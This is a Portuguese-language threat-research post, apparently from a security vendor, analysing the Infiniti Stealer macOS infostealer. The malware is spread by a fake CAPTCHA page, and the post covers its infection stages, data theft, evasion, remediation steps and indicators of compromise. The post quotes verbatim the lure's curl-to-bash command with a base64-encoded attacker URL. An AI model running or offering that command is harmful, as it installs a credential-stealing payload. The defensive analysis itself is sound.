Um infostealer para macOS até agora não documentado surgiu durante a nossa atividade de deteção de ameaças de rotina. Inicialmente, identificámo-lo como NukeChain, mas pouco antes da publicação, o painel de controlo do malware tornou-se visível ao público, revelando o seu nome verdadeiro: Infiniti Stealer.
Este malware foi concebido para roubar dados confidenciais de computadores Mac. Propaga-se através de uma página CAPTCHA falsa que induz os utilizadores a executarem eles próprios um comando: uma técnica conhecida como ClickFix. Em vez de explorar uma falha de segurança, baseia-se na engenharia social.
A carga útil final está escrita em Python e compilada com o Nuitka, resultando num ficheiro binário nativo do macOS. Isso torna-a mais difícil de analisar e detetar do que o malware típico baseado em Python.
Tanto quanto sabemos, esta é a primeira campanha documentada no macOS que combina a distribuição do ClickFix com um programa de roubo de dados em Python compilado com o Nuitka.
ClickFix: engenharia social em vez de vulnerabilidades
O ClickFix não se baseia em vulnerabilidades de software. Em vez disso, baseia-se em convencer o utilizador a executar ele próprio um comando.
Uma página de verificação falsa instrui o visitante a abrir o Terminal, colar um comando e premir a tecla Return. Assim que executado, o processo de infeção inicia-se imediatamente. A técnica ganhou popularidade nos Windows , mas está agora a ser adaptada para o macOS, com instruções específicas para a plataforma: Command + Space > abrir o Terminal > colar o comando
Como o utilizador executa o comando diretamente, muitas defesas tradicionais são contornadas. Não há exploração de vulnerabilidades, nem anexos maliciosos, nem downloads automáticos.
Entrega de CAPTCHAs falsos
A infecção começa em update-check[.]com, que apresenta uma réplica convincente de uma página de verificação manual da Cloudflare.

A página indica ao utilizador que deve colar um comando de verificação no Terminal:bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))

Depois de descodificada, a sequência de caracteres traduz-se num URL alojado no mesmo domínio, que devolve o script dropper da primeira fase.
Fase 1: Bash Dropper
A primeira carga útil é um script Bash que utiliza um modelo anteriormente observado em programas de roubo de dados para macOS, como o MacSync (também referido como SHub em investigações anteriores). Isto sugere a utilização de um criador de código partilhado.
As suas funções são simples:
- Descodificar a carga útil incorporada
- Grave o ficheiro binário da Fase 2 em
/tmp - Remova o sinalizador de quarentena utilizando
xattr -dr com.apple.quarantine - Execute o ficheiro binário através de
nohup - Passe o servidor de comando e controlo (C2) e o token de autenticação como variáveis de ambiente
- Apagar o próprio programa e fechar o Terminal através do AppleScript
Fase 2: Nuitka Loader
O ficheiro binário fornecido é um executável Mach-O para Apple Silicon (~8,6 MB), compilado utilizando o modo «onefile» do Nuitka.
O seu cabeçalho contém a assinatura:
4b 41 59 28 b5 2f fd
Isto corresponde a um KAY ( um cabeçalho seguido de um arquivo comprimido com zstd utilizado pelo Nuitka para empacotar aplicações Python.
Ao contrário do PyInstaller, o Nuitka compila o código-fonte Python para C e produz um ficheiro binário nativo, o que aumenta a complexidade da análise estática.
Durante a execução, o carregador descomprime cerca de 35 MB de dados incorporados e inicia a carga útil final.
Fase 3: Carga útil do Python Stealer
A carga útil final, UpdateHelper[.]bin, é um programa de roubo de dados escrito em Python 3.11 e compilado com o Nuitka.

Apesar da compilação, o ficheiro binário expõe milhares de símbolos nomeados, permitindo que a sua estrutura de módulos seja reconstruída durante a análise.
O programa malicioso tem como alvo uma vasta gama de dados confidenciais:
- Informações de identificação de navegadores baseados no Chromium e do Firefox
- Entradas do MacKeychain
- Carteiras de criptomoedas
- Segredos em texto simples em ficheiros de desenvolvimento, como o .env
- Capturas de ecrã tiradas durante a execução
Os dados são extraídos através de pedidos HTTP POST.
Antes de iniciar a recolha de dados, o malware verifica se está a ser executado em ambientes de análise conhecidos, incluindo:
- any.run
- Joe Sandbox
- Análise híbrida
- VMware
- VirtualBox
Além disso, introduz um atraso de execução aleatório para contornar os sistemas de análise automatizados.
Quando a exfiltração estiver concluída, uma função chamada upload_complete() envia uma notificação do Telegram ao operador e coloca as credenciais capturadas na fila para a quebra de senhas no servidor.
O que fazer se achar que foi afetado
A ideia de que o macOS é um alvo de malware de baixo risco continua a desvanecer-se.
O Infiniti Stealer mostra como técnicas que funcionavam no Windows— como o ClickFix — estão agora a ser adaptadas para atingir Mac .
Além disso, recorre a técnicas mais recentes, como a compilação de Python em aplicações nativas, o que torna o malware mais difícil de detetar e analisar. Se esta abordagem se revelar eficaz, poderemos assistir a mais ataques deste tipo.
Se seguiu instruções como estas ou colou comandos no Terminal a partir de um site, tome medidas imediatamente:
- Deixe de utilizar o dispositivo para atividades confidenciais (operações bancárias, e-mail, contas de trabalho).
- Altere as suas palavras-passe num dispositivo não infetado, começando pelo e-mail, pela conta bancária e pela Apple ID.
- Revogar acesso: terminar as sessões ativas e revogar os tokens da API e as chaves SSH
- Verifique se existem ficheiros suspeitos em
/tmpe~/Library/LaunchAgents/ - Execute uma Malwarebytes completa Malwarebytes para detetar e remover qualquer malware remanescente.
Lembre-se: não cole comandos de sites na janela do Terminal. Nenhum CAPTCHA legítimo exige isso.
Indicadores de compromisso (IOCs)
| Tipo | Valor |
|---|---|
| Dropper MD5 | da73e42d1f9746065f061a6e85e28f0c |
| SHA256 - Fase 3 | 1e63be724bf651bb17bcf181d11bacfabef6a6360dcdfda945d6389e80f2b958 |
| Domínio C2 | update-check[.]com |
| C2 URL | https://update-check[.]com/m/7d8df27d95d9 |
| Painel C2 | Infiniti-stealer[.]com |
| A magia dos Packers | 4b 41 59 28 b5 2f fd (KAY + zstd) |
| Registo de depuração | /tmp/.bs_debug.log |
| Caminho temporário | /tmp/.2835b1b5098587a9XXXXXX (prefixo fixo, sufixo aleatório) |
Agradecimentos
Agradecemos a Marcelo Rivero pela análise binária.
Não nos limitamos a comunicar as ameaças - eliminamo-las
Os riscos de cibersegurança nunca se devem propagar para além de uma manchete. Mantenha as ameaças longe dos seus dispositivos descarregando Malwarebytes hoje mesmo.




